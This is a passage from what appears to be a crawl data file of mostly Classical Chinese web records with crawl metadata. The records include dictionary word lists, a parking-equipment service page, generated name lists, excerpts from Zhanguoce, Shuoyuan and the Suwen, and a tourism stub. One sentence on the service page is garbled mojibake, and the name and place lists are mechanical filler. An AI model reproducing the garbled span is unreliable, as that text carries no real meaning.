三宿恋 三秀 三须钩 三徐 三玄 三选 三铉 三削 三薛 三穴 三学 三学士 三熏 三熏三沐 三薰三沐 三旬九食 三巡 三讯 三汛\n- 三桠 三牙 三衙 三衙家 三雅 三雅池 三亚市 三咽 三严 三言 三言讹虎 三言二拍 三言二语 三言两句 三言两语 三言诗 三言五语 三言之道 三炎 三檐青罗伞 三檐伞 三檐伞盖 三檐四马 三眼铳 三眼一板 三厌 三燕 三阳 三阳交泰 三阳节 三阳开泰 三阳五会 三阳五输 三杨 三养 三氧化二铬 三氧化二砷 三氧化铬 三氧化硫 三謡 三要 三曜 三野 三业 三叶 三叶虫 三叶集 三一 三一八惨案 三一回五一回 三一律 三一三十一 三一运动 三衣 三医 三揖 三揖三让 三仪 三夷 三遗矢 三彝 三已 三已心 三弋 三异 三易 三益 三翼 三阴 三淫 三尹 三隐 三酳 三英 三盈三虚 三影 三影郎中 三雍 三雍宫 三踊 三忧 三友 三有 三酉 三又 三右 三幼 三侑 三宥 三余 三余读书 三鱼 三虞 三雨 三语 三语掾 三育 三狱 三浴三衅 三浴三熏 三浴三薰 三欲 三元 三元八会 三元白法 三元及第 三元节 三元君 三元客 三元里 三元里抗英斗争 三垣 三袁 三原 三原色 三远 三怨 三怨成府 三院 三月 三月不知肉味 三月二 三月街 三月三 三月三日 三月雪 三越 三云 三韵\n- 三匝 三灾 三灾八难 三灾六难 三宰 三咤 三宅 三翟 三鳣 三斩 三占从二 三战三北 三张 三章 三章法 三仗 三障 三招两式 三兆 三折 三折笔 三折肱 三折肱,为良医 三折肱为良医 三折股为良医 三折其肱 三折之肱 三哲 三悊 三贞 三贞妇 三贞九烈 三贞五烈 三真 三真经 三真六草 三阵 三征 三征七辟 三正 三之日 三支 三支比量 三只手 三芝 三直 三旨相公 三纸无驴 三指 三趾 三至 三至之谗 三志 三制 三制手 三陟 三致千金 三致意 三致志 三智五猜 三忠 三终 三种 三种人 三重 三重门 三周 三周说法 三洲 三洲歌 三洲曲 三肘 三珠 三珠符 三珠树 三铢钱 三竺 三住 三注 三注三唱 三柱 三柱里 三祝 三转身 三转四回头 三锥子扎不出血来 三准 三资 三资企业 三自 三自一包 三字 三字经 三字狱 三宗 三蝬 三鬃 三走 三足 三足鳖 三足鼎 三足鼎立 三足金鸡 三足能 三足乌 三族 三组 三俎 三祖 三嘴行 三醉 三尊 三左 三座大山\n百科条目\n- 三案 三八式步枪 三白草科 三棒鼓 三宝垄 三宝鸟 三宝颜 三苯甲烷 三边测量 三表\n- 三部九候 三叉戟系列飞机 三叉神经痛 三朝北盟会编 三船敏郎 三刺鲀属 三打祝家庄 三大改造 三代 三岛由纪夫\n- 三叠纪 三洞四辅 三斗坪 三都水族自治县 三读 三段论 三藩 三反五反运动 三分损益法 三氟氯乙烯\n- 三氟乙醇 三氟乙酸 三纲五常 三个摩登女性 三个世界理论 三公 三国 三国干涉还辽 三国连太郎 三国同盟\n- 三国同盟 三国戏 三国协约 三国演义 三国志 三韩 三和财团 三河马 三河牛 三河-平谷地震\n- 三河镇 三化螟 三皇同盟 三皇五帝 三级会议 三级跳远 三家村冤案 三家分晋 三甲基氯硅烷 三尖杉科\n- 三监 三江平原 三焦 三焦辨证 三角测量 三角帆蚌 三角高程测量 三角函数 三角铁 三角学\n- 三角翼飞机 三角债 三角真涡虫 三角洲 三阶教 三界 三晋文化 三井财团 三聚甲醛 三聚氰胺\n- 三聚氰胺甲醛树脂 三来一补 三吏三别 三联书店 三菱重工业公司 三陆大地震 三氯甲烷 三氯乙醛 三氯乙烯 三略\n- 三论宗 三毛 三毛流浪记 三茅真君 三门湾 三门峡 三门峡市 三门峡水利枢纽 三门峡栈道遗迹 三民主义 三民主义\n- 三民主义青年团 三明市 三七 三清 三球仪 三权分立制度 三省 三尸 三十六计 三十年战争\n- 三世说 三司使 三苏 三苏祠 三碳植物 三体问题 三头政治 三维集成电路 三位一体 三位一体 三文化广场\n- 三武一宗禁佛 三希堂法帖 三侠五义 三峡水利枢纽工程 三弦 三饷 三相弹 三相交流电路 三相异步电动机 三笑\n- 三星堆遗址 三星集团 三性 三学 三亚珊瑚礁自然保护区 三亚市 三氧化二铁 三叶草 三叶虫 三一律\n- 三一运动 三乙胺 三英里岛核事故 三疣梭子蟹 三元 三元里抗英斗争 三垣二十八宿 三原色 三原县 三藏\n- 三长制 三支两军 三趾马 三资企业 三唑酮 三K党","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/zy.zwbk.org\/index.php?title=%E4%B8%89","date":"2022-10-06T13:45:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337836.93\/warc\/CC-MAIN-20221006124156-20221006154156-00546.warc.gz","language":"lzh","language_score":0.6815662384,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6815662384033203, \"yue_Hani_score\": 0.18466296792030334, \"nan_Hani_score\": 0.06858206540346146, \"jpn_Jpan_score\": 0.038850992918014526, \"cmn_Hani_score\": 0.026272891089320183}","num_words":1728,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.677,"perplexity_score":500.0,"cluster_detection":1} +{"text":"服務介紹\n進步無止境,不斷的提高產品質量和服務質量是萊貝人永恒的追求,萊貝憑借多年對停車設備的服務與運營,對關鍵核心技術的掌控,為客戶提供滿意的產品和優質的服務,確??蛻舴判氖褂萌R貝產品,特制定了下列服務政策。\n● 品牌的所有產品按照國家、行業、企業更新有效標準執行,對于經營過程中的每一個環節都進行嚴格檢查。\n● 為確??蛻舴判牡馁徺I我們的產品,所有品牌的產品實行結購保,整機保。但下屬情況例外:由于使用不當、人為事故、自然災害、使用非正品引發故障、易損件等等。\n● 終身提供產品維修及保養所需配件。\n● 對于保修外的萊貝產品開展有償服務,專業品質、保證質量。\n● 實行7×24小時的\"保姆式\"服務。\n培訓\n萊貝提供有關傳動系統、電控系統、機器性能、設備操作及維護保養等方面的專業培訓,培訓課程為期1-3天,經過培訓能夠讓您更加熟練,更加自信的操作設備,并有能力對您的停車設備進行維護保養,排除故障,減少設備停機時間,盡可能提高使用效率。\n設備操作及維護保養培訓\n協助您的維護保養人員了解萊貝停車設備的構造、操作和維護。\n重慶 萬州 涪陵 渝中 大渡口 江北 沙坪壩 九龍坡 南岸 北碚 綦江 大足 渝北 巴南 黔江 長壽 江津 合川 永川 南川 璧山 銅梁 潼南 榮昌 開州 梁平 武隆 城口 豐都 墊江 忠縣 云陽 奉節 巫山 巫溪 石柱 秀山 酉陽 彭水 云南 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 楚雄 紅河 文山 西雙版納 大理 德宏 怒江 迪慶 五華 盤龍 官渡 西山 東川 呈貢 晉寧 富民 宜良 石林 嵩明 祿勸 尋甸 安寧 麒麟 沾益 馬龍 陸良 師宗 羅平 富源 會澤 宣威 紅塔 江川 澄江 通海 華寧 易門 峨山 新平 元江 隆陽 施甸 龍陵 昌寧 騰沖 昭陽 魯甸 巧家 鹽津 大關 永善 綏江 鎮雄 彝良 威信 水富 古城 玉龍 永勝 華坪 寧蒗 思茅 寧洱 墨江 景東 景谷 鎮沅 江城 孟連 瀾滄 西盟 臨翔 鳳慶 云縣 永德 鎮康 雙江 耿馬 滄源 雙柏 牟定 南華 姚安 大姚 永仁 元謀 武定 祿豐 個舊 開遠 蒙自 彌勒 屏邊 建水 石屏 瀘西 元陽 金平 綠春 河口 硯山 西疇 麻栗坡 馬關 丘北 廣南 富寧 景洪 勐海 勐臘 漾濞 祥云 賓川 彌渡 南澗 巍山 永平 云龍 洱源 劍川 鶴慶 瑞麗 芒市 梁河 盈江 隴川 瀘水 福貢 貢山 蘭坪 香格里拉 德欽 維西 貴州 貴陽 六盤水 遵義 安順 畢節 銅仁 黔西南 黔東南 黔南 南明 云巖 花溪 烏當 白云 觀山湖 開陽 息烽 修文 清鎮 鐘山 六枝 水城 盤州 紅花崗 匯川 播州 桐梓 綏陽 正安 道真 務川 鳳岡 湄潭 余慶 習水 赤水 仁懷 西秀 平壩 普定 鎮寧 關嶺 紫云 七星關 大方 黔西 金沙 織金 納雍 威寧 赫章 碧江 萬山 江口 玉屏 石阡 思南 印江 德江 沿河 松桃 興義 興仁 普安 晴隆 貞豐 望謨 冊亨 安龍 凱里 黃平 施秉 三穗 鎮遠 岑鞏 天柱 錦屏 劍河 臺江 黎平 榕江 從江 雷山 麻江 丹寨 都勻 福泉 荔波 貴定 甕安 獨山 平塘 羅甸 長順 龍里 惠水 三都水 甘肅 蘭州 嘉峪關 金昌 白銀 天水 武威 張掖 平涼 酒泉 慶陽 定西 隴南 臨夏 甘南 城關 七里河 西固 紅古 永登 皋蘭 榆中 永昌 白銀 平川 靖遠 會寧 景泰 秦州 麥積 清水 秦安 甘谷 武山 張家川 涼州 民勤 古浪 天祝 甘州 肅南 民樂 臨澤 高臺 山丹 崆峒 涇川 靈臺 崇信 莊浪 靜寧 華亭 肅州 金塔 瓜州 肅北 阿克塞 玉門 敦煌 西峰 慶城 環縣 華池 合水 正寧 寧縣 鎮原 安定 通渭 隴西 渭源 臨洮 漳縣 岷縣 武都 成縣 文縣 宕昌 康縣 西和 禮縣 徽縣 兩當 康樂 永靖 廣河 和政 東鄉 積石山 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 陜西 西安 銅川 寶雞 咸陽 渭南 延安 漢中 榆林 安康 商洛 新城 碑林 蓮湖 灞橋 未央 雁塔 閻良 臨潼 長安 高陵 鄠邑 藍田 周至 王益 印臺 耀州 宜君 渭濱 金臺 陳倉 鳳翔 岐山 扶風 眉縣 隴縣 千陽 麟游 鳳縣 太白 秦都 楊陵 渭城 三原 涇陽 乾縣 禮泉 永壽 長武 旬邑 淳化 武功 興平 彬州 臨渭 華州 潼關 大荔 合陽 澄城 蒲城 白水 富平 韓城 華陰 寶塔 安塞 延長 延川 子長 志丹 吳起 甘泉 富縣 洛川 宜川 黃龍 黃陵 漢臺 南鄭 城固 洋縣 西鄉 勉縣 寧強 略陽 鎮巴 留壩 佛坪 榆陽 橫山 府谷 靖邊 定邊 綏德 米脂 佳縣 吳堡 清澗 子洲 神木 漢濱 漢陰 石泉 寧陜 紫陽 嵐皋 平利 鎮坪 旬陽 白河 商州 洛南 丹鳳 商南 山陽 鎮安 柞水 四川 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩 甘孜 涼山 錦江 青羊 金牛 武侯 成華 龍泉驛 青白江 新都 溫江 雙流 郫都 金堂 大邑 蒲江 新津 都江堰 彭州 邛崍 崇州 簡陽 自流井 貢井 大安 沿灘 榮縣 富順 東區 西區 仁和 米易 鹽邊 江陽 納溪 龍馬潭 瀘縣 合江 敘永 古藺 旌陽 羅江 中江 廣漢 什邡 綿竹 涪城 游仙 安州 三臺 鹽亭 梓潼 北川 平武 江油 利州 昭化 朝天 旺蒼 青川 劍閣 蒼溪 船山 安居 蓬溪 射洪 大英 東興 威遠 資中 隆昌 沙灣 五通橋 金口河 犍為 井研 夾江 沐川 峨邊 馬邊 峨眉山 順慶 高坪 嘉陵 南部 營山 蓬安 儀隴 西充 閬中 東坡 彭山 仁壽 洪雅 丹棱 青神 翠屏 南溪 敘州 江安 長寧 高縣 珙縣 筠連 興文 屏山 前鋒 岳池 武勝 鄰水 華鎣 通川 達川 宣漢 開江 大竹 渠縣 萬源 雨城 名山 滎經 漢源 石棉 天全 蘆山 寶興 巴州 恩陽 通江 南江 平昌 雁江 安岳 樂至 馬爾康 汶川 理縣 茂縣 松潘 九寨溝 金川 小金 黑水 壤塘 若爾蓋 紅原 康定 瀘定 丹巴 九龍 雅江 道孚 爐霍 新龍 德格 白玉 石渠 色達 理塘 巴塘 鄉城 稻城 得榮 西昌 木里 鹽源 德昌 會理 會東 寧南 普格 布拖 金陽 昭覺 喜德 冕寧 越西 甘洛 美姑 雷波 湖北 湖南 廣西","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.sindiro.com\/fuwu\/shouhou\/index.html","date":"2023-04-01T16:51:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950110.72\/warc\/CC-MAIN-20230401160259-20230401190259-00603.warc.gz","language":"lzh","language_score":0.7386443615,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7386443614959717, \"nan_Hani_score\": 0.15830595791339874, \"cmn_Hani_score\": 0.09829932451248169}","num_words":708,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.297,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.756,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n滑艺林 滑伟茂 滑珊 滑佳宁 滑莱士 滑理 滑里 滑李丫 滑李儿 滑李 滑永欣 滑晓欣 滑桂平 滑展 滑红彬 滑一菲 滑亦菲 滑旭 滑一葶 滑同爱 滑彦斌 滑林 滑仕荭 滑译林 滑玮林 滑陕西 滑甜甜 滑寺 滑玮 滑丁扬 滑巨田 滑瑞枝 滑瑞芝 滑慧林 滑芮林 滑芮 滑洋 滑喜月 滑晓盈 滑淑巧 滑丽静 滑依林 滑一林 滑文海 滑垲 滑志炫 滑志泓 滑升 滑志清 滑志青 滑琦 滑天琦 滑中良 滑明宇 滑立家 滑堍荑 滑怀丙 滑晴晴 滑豪科 滑子浩 滑嘉浩 滑嘉嘉 滑佳然 滑天昊 滑乔 滑莲君 滑捷 滑军亮 滑文瑞 滑世权 滑瑞 滑维 滑启航 滑宾 滑国 滑炳杨 滑炳徉 滑炳炀 滑炳烊 滑炳漾 滑炳阳 滑炳洋 滑秉海 滑冰炀 滑冰漾 滑冰阳 滑冰洋 滑浩博 滑飞 滑孟瑞 滑明霖 滑会民 滑明林 滑明淋 滑凌让 滑慧龙 滑圆薰 滑妩媚 滑海侨 滑滇涤 滑亚宾 滑玉生 滑朵 滑心 滑亦磊 滑鹤 滑恒础 滑馨 滑钰琛 滑建青 滑志平 滑若凡 滑若玢 滑若锦 滑昭 滑灾 滑忠 滑成 滑男 滑志 滑人丘 滑人加 滑辰林 滑莎 滑梓迪 滑宝丫 滑若淼 滑若冰 滑一爽 滑伟豪 滑唯嘉 滑露婕 滑德华 滑念蒲 滑思诺 滑思涵 滑文卿 滑立新 滑彳卜 滑舜 滑皓旭 滑深帆 滑心爱 滑跃飞 滑珍 滑冰冰 滑社香 滑梦琪 滑若菲 滑晓菲 滑梦菲 滑士林 滑文菲 滑永胜 滑宝平 滑丽菲 滑斯特 滑鲜 滑智蕊 滑芷芮 滑若林 滑艺菲 滑菲菲 滑林林 滑艳林 滑小菲 滑晓林 滑瑜 滑晓白 滑伟贺 滑振宇 滑璐安 滑璐平 滑晓瑜 滑晓阳 滑帆 滑虹 滑保平 滑静羽 滑宇阳 滑晓宇 滑晓羽 滑俏俏 滑童宇 滑京放 滑阔漫 滑柏菲 滑笑菲 滑小睛 滑梦林 滑万钧 滑璐稳 滑小琦 滑文梦 滑小芝 滑晓芝 滑笑苒 滑小林 滑小卉 滑笑林 滑磨邙 滑垲酷 滑磐蒲 滑葑涣 滑椋沦 滑轲凇 滑嵴荆 滑乔乔 滑函乔 滑菪阁 滑轲淞 滑踏浪 滑端 滑苁 滑对藤 滑紫藤 滑紫薇 滑而实 滑而润 滑韫 滑之聪 滑科递 滑飒飒 滑洒脱 滑丝丝 滑轩然 滑浩特 滑聪伶 滑兆谊 滑蓬莱 滑俏巯 滑娃菪 滑科幻 滑奥妙 滑昊 滑香 滑奕奕 滑奕 滑卓越 滑佳音 滑诺诺 滑晗 滑艺 滑佳讯 滑科豪 滑科璇 滑静静 滑科魁 滑湘 滑天乐 滑海晴 滑海清 滑松涛 滑玉璞 滑森淼 滑佩宇 滑桥 滑建斌 滑伟斯 滑宏翔 滑想 滑翔翔 滑皓翔 滑耕翔 滑沙 滑淑敏 滑冰如 滑毅 滑爽爽 滑冠 滑冠景 滑爽 滑立坤 滑洪涛 滑伟佳 滑伟涵 滑伟琛 滑伟崇 滑海周 滑楠囡 滑皓 滑玺 滑君 滑麒 滑鹏 滑宇 滑均宇 滑均珲 滑君彰 滑鹏屹 滑婕 滑蔚 滑羿 滑小乐 滑佑岳 滑希远 滑汝岳 滑言岳 滑君源 滑君泽","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.zhzyzz.cn\/show_4QQ.aspx","date":"2023-12-04T13:27:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100529.8\/warc\/CC-MAIN-20231204115419-20231204145419-00631.warc.gz","language":"lzh","language_score":0.5442483425,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.5442483425140381, \"nan_Hani_score\": 0.35819730162620544, \"wuu_Hani_score\": 0.047159042209386826, \"cmn_Hani_score\": 0.04639311134815216}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.558,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚王使景鯉如秦\n楚王使景鯉如秦。客謂秦王曰:「景鯉,楚王所甚愛,王不如留之以市地。楚王聽,則不用兵而得地;楚王不聽,則殺景鯉,更與不如景鯉留,是便計也。」秦王乃留景鯉。\n景鯉使人說秦王曰:「臣見王之權輕天下,而地不可得也。臣之來使也,聞齊、魏皆且割地以事秦。所以然者,以秦與楚為昆弟國。今大王留臣,是示天下無楚也,齊、魏有何重于孤國也。楚知秦之孤,不與地,而外結交諸侯以圖,則社稷必危,不如出臣。」秦王乃出之。","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/098.htm","date":"2017-02-20T03:59:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170404.1\/warc\/CC-MAIN-20170219104610-00533-ip-10-171-10-108.ec2.internal.warc.gz","language":"lzh","language_score":0.5429212451,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.542921245098114, \"cmn_Hani_score\": 0.3918173313140869, \"wuu_Hani_score\": 0.03342996910214424, \"nan_Hani_score\": 0.026711244136095047}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.788,"perplexity_score":500.0,"cluster_detection":1} +{"text":"元敖𠝃撰。𠝃古文淵字。見夏竦古文四聲韻。其爵里皆無可考。是書大旨本乎圖書。雜以佛老。首之以先後天理數圖。又有求仁盡性諸圖。其盡性圖有曰。吸蒂思不出位。呼根不失赤子之心。又有曰服氣爲上。服藥爲下。又曰數息禪學之長。抱元元學之長。仙山人也。不以身許人者也。可以見其宗旨矣。","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0259601.html","date":"2017-05-22T19:28:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607046.17\/warc\/CC-MAIN-20170522190443-20170522210443-00156.warc.gz","language":"lzh","language_score":0.4237180948,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.42371809482574463, \"cmn_Hani_score\": 0.3186497390270233, \"zxx_Latn_score\": 0.06961297988891602, \"wuu_Hani_score\": 0.04558102414011955, \"yue_Hani_score\": 0.024846555665135384, \"nan_Hani_score\": 0.01504739560186863, \"jpn_Jpan_score\": 0.014252560213208199, \"und_Tang_score\": 0.013457638211548328, \"und_Xsux_score\": 0.01000207383185625}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.424,"perplexity_score":500.0,"cluster_detection":1} +{"text":"說苑(설원)\n卷八 | 卷九 | 卷十 |\n易曰:「王臣蹇蹇,匪躬之故。」人臣之所以蹇蹇為難,而諫其君者非為身也,將欲以匡君之過,矯君之失也。君有過失者,危亡之萌也;見君之過失而不諫,是輕君之危亡也。夫輕君之危亡者,忠臣不忍為也。三諫而不用則去,不去則身亡;身亡者,仁人之所不為也。是故諫有五:一曰正諫,二曰降諫,三曰忠諫,四曰戇諫,五曰諷諫。孔子曰:「吾其從諷諫乎。」夫不諫則危君,固諫則危身;與其危君、寧危身;危身而終不用,則諫亦無功矣。智者度君權時,調其緩急而處其宜,上不敢危君,下不以危身,故在國而國不危,在身而身不殆;昔陳靈公不聽泄冶之諫而殺之,曹羈三諫曹君不聽而去,春秋序義雖俱賢而曹羈合禮。","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/ctexts.blogspot.kr\/1989\/05\/","date":"2017-08-23T19:26:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886123359.11\/warc\/CC-MAIN-20170823190745-20170823210745-00332.warc.gz","language":"lzh","language_score":0.4799872935,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.4799872934818268, \"cmn_Hani_score\": 0.42192980647087097, \"nan_Hani_score\": 0.03025248274207115, \"wuu_Hani_score\": 0.019974561408162117, \"zxx_Latn_score\": 0.011084502562880516}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.41,"perplexity_score":500.0,"cluster_detection":1} +{"text":"欢迎您访问蚌埠!\n想去0\n去过0\n合肥导游 芜湖导游 蚌埠导游 淮南导游 马鞍山导游 淮北导游 铜陵导游 安庆导游 黄山导游 滁州导游 阜阳导游 宿州导游 巢湖导游 六安导游 亳州导游 池州导游 宣城导游","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/bengbu.cncn.com\/daoyou\/","date":"2017-10-21T19:17:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824894.98\/warc\/CC-MAIN-20171021190701-20171021210701-00554.warc.gz","language":"lzh","language_score":0.6987716556,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.6987716555595398, \"cmn_Hani_score\": 0.16599878668785095, \"yue_Hani_score\": 0.08182947337627411, \"nan_Hani_score\": 0.050235070288181305}","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.801,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n崔焯文 崔砦婧 崔传英 崔保玲 崔云芬 崔小悦 崔斯文 崔思文 崔云洁 崔婵娟 崔旭梅 崔二娅 崔孝艳 崔孝丽 崔霁妍 崔焕文 崔茗洁 崔瑾琳 崔银玲 崔婧春 崔力梅 崔杰媛 崔芷倩 崔筱倩 崔彗玉 崔徽玉 崔晖玉 崔绘玉 崔汇玉 崔辉玉 崔卉玉 崔慧玉 崔会玉 崔媛平 崔馨瑶 崔伟娜 崔慧冉 崔旭冉 崔晶雪 崔媛瑗 崔京花 崔江丽 崔锡雪 崔乃秀 崔莎玲 崔侨娜 崔春芳 崔飒娜 崔琦瑶 崔树红 崔金娜 崔燕琼 崔燕华 崔燕宁 崔熙琳 崔婧婉 崔嫣淼 崔学霞 崔可英 崔洽瑛 崔钰梅 崔芝英 崔志瑛 崔智英 崔悦洋 崔悦洪 崔仁洁 崔戈洁 崔玲萍 崔轩瑛 崔钰莹 崔艳茹 崔凤媛 崔莉涓 崔玲立 崔茜媛 崔嫣虹 崔嫣薨 崔嫣宏 崔燕宏 崔林英 崔希茹 崔海玉 崔铠玉 崔凯玉 崔维娟 崔白雪 崔叶英 崔树艳 崔树燕 崔钧婷 崔芯艳 崔莘燕 崔鑫燕 崔辛嫣 崔新燕 崔怡凡 崔改霞 崔锦颖 崔锦妍 崔秀妹 崔金艳 崔锦燕 崔铷萍 崔善茹 崔善萍 崔钐婷 崔锦娥 崔潇萍 崔镁萍 崔锦萍 崔莉群 崔訾秀 崔孜秀 崔梓秀 崔宣秀 崔骏秀 崔娅宜 崔怡秀 崔亦秀 崔仪秀 崔伊秀 崔易秀 崔宜秀 崔艺秀 崔一秀 崔瀚秀 崔茗秀 崔铭秀 崔鸣秀 崔珠秀 崔明秀 崔美秀 崔晗秀 崔罕秀 崔翰秀 崔纤秀 崔子秀 崔姿秀 崔玄秀 崔紫秀 崔家秀 崔佳秀 崔嘉秀 崔荷婷 崔蓓蓉 崔宗玲 崔毋婷 崔潇婷 崔丕文 崔维玉 崔润梅 崔心莹 崔典文 崔寒文 崔小婷 崔倩楹 崔倩蓥 崔倩缨 崔倩莺 崔倩樱 崔倩莹 崔倩瑛 崔倩滢 崔纤颖 崔茜颖 崔莉洁 崔美玉 崔孝秀 崔雯秀 崔好秀 崔皓秀 崔惠玲 崔葆秀 崔喜秀 崔杉文 崔凤颖 崔长艳 崔娅溧 崔娅嫠 崔娅俪 崔娅荔 崔娅力 崔丫丽 崔桠丽 崔垭丽 崔娅砾 崔娅篱 崔娅历 崔娅黎 崔娅李 崔娅俐 崔娅利 崔娅丽 崔娅莉 崔佚芳 崔怀美 崔保花 崔谰琼 崔钒婧 崔焯琳 崔焯梅 崔煜梅 崔桂婵 崔伟蓉 崔伟萍 崔伟芬 崔怡莎 崔轩怡 崔明洁 崔怡彤 崔介颖 崔保红 崔洁琼 崔倡婷 崔蓉花 崔倚颖 崔燕辞 崔燕慈 崔燕颖 崔悦妍 崔妍彬 崔玉雪 崔双英 崔青燕 崔洪瑶 崔莉荣 崔嘉琳 崔文怡 崔怡馨 崔怡心 崔欣丽 崔怡洁 崔致文 崔燕群 崔程瑶 崔婧一 崔明莹 崔爱红 崔婷允 崔钰玉 崔肖英 崔玉怡 崔秋梅 崔建梅 崔卫玉 崔浩琳 崔燕弘 崔倩菲 崔喜艳 崔喜燕 崔雪燕 崔秀瑶 崔襦秀 崔悦襦 崔襦悦 崔謦悦 崔邀悦 崔瑞娜 崔丛英 崔丁文 崔静雪 崔皓雪 崔萝娜 崔婉雪 崔敏雪 崔容红 崔延红 崔眼红 崔宴红 崔妍鸿 崔琳漫 崔荣娟 崔锦洁 崔悦鸣 崔平芬 崔容芳 崔悦明 崔芬瑞 崔忠文 崔雪妍 崔妍昕 崔际红 崔俪娟 崔力娟 崔悦苒 崔悦冉 崔试艳 崔绢玉 崔长娟 崔斯玉 崔如雪 崔倩茹 崔瑞红 崔知悦 崔兆娜 崔庚裴 崔项怡 崔广裴 崔裴彬","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/zg-zy.com\/show_A04.aspx","date":"2018-07-19T01:51:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676590443.0\/warc\/CC-MAIN-20180719012155-20180719032155-00535.warc.gz","language":"lzh","language_score":0.9990699887,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.9990699887275696}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"素問・35瘧論\n黄帝問曰、夫痎瘧皆生於風。其蓄作有時者何也。岐伯対曰、瘧之始発也、先起於毫毛、伸欠乃作、寒慄鼓頷、腰脊倶痛。寒去則内外皆熱、頭痛如破、渇欲冷飲。\n帝曰、何気使然。願聞其道。岐伯曰、陰陽上下交争、虚実更作、陰陽相移也。陽并於陰、則陰実而陽虚。陽明虚則寒慄鼓頷也。巨陽虚則腰背頭項痛、三陽倶虚、則陰気勝、陰気勝則骨寒而痛、寒生於内。故中外皆寒。陽盛則外熱、陰虚則内熱。外内皆熱、則喘而渇。故欲冷飲也。此皆得之夏傷於暑。熱気盛、蔵於皮膚之内、腸胃之外。此栄気之所舍也。此令人汗空疎、腠理開、因得秋気、汗出遇風、及得之以浴。水気舍於皮膚之内、与衛気并居。衛気者、昼日行於陽、夜行於陰。此気得陽而外出、得陰而内薄、内外相薄。是以日作。\n帝曰、其間日而作者何也。岐伯曰、其気之舍深、内薄於陰、陽気独発。陰邪内著、陰与陽争不得出。是以間日而作也。帝曰、善。\n其作日宴与其日早者、何気使然。岐伯曰、邪気客於風府、循膂而下。衛気一日一夜大会於風府。其明日日下一節。故其作也晏。此先客於、脊背也。毎至於風府、則腠理開、腠理開則邪気入、邪気入則病作。以此日作稍益晏也。其出於風府、日下一節、二十五日下至骶骨、二十六日入於脊内、注於伏膂之脈。其気上行、九日出於缺盆之中。其気日高、故作日益早也。其間日発者、由邪気内薄於五蔵、横連募原也。其道遠、其気深、其行遅、不能与衛気倶行、不得皆出。故間日乃作也。\n帝曰、夫子言衛気毎至於風府、腠理乃発、発則邪気入、入則病作。今衛気日下一節、其気之発也、不当風府、其日作者奈何。岐伯曰、此邪気客於頭項、循膂而下者也。故虚実不同。邪中異所、則不得当其風府也。故邪中於頭項者、気至頭項而病。中於背者、気至背而病。中於腰脊者、気至腰脊而病。中於手足者、気至手足而病。衛気之所在、与邪気相合、則病作。故風無常府。衛気之所発、必開其腠理、邪気之所合、則其府也。帝曰、善。\n夫風之与瘧也、相似同類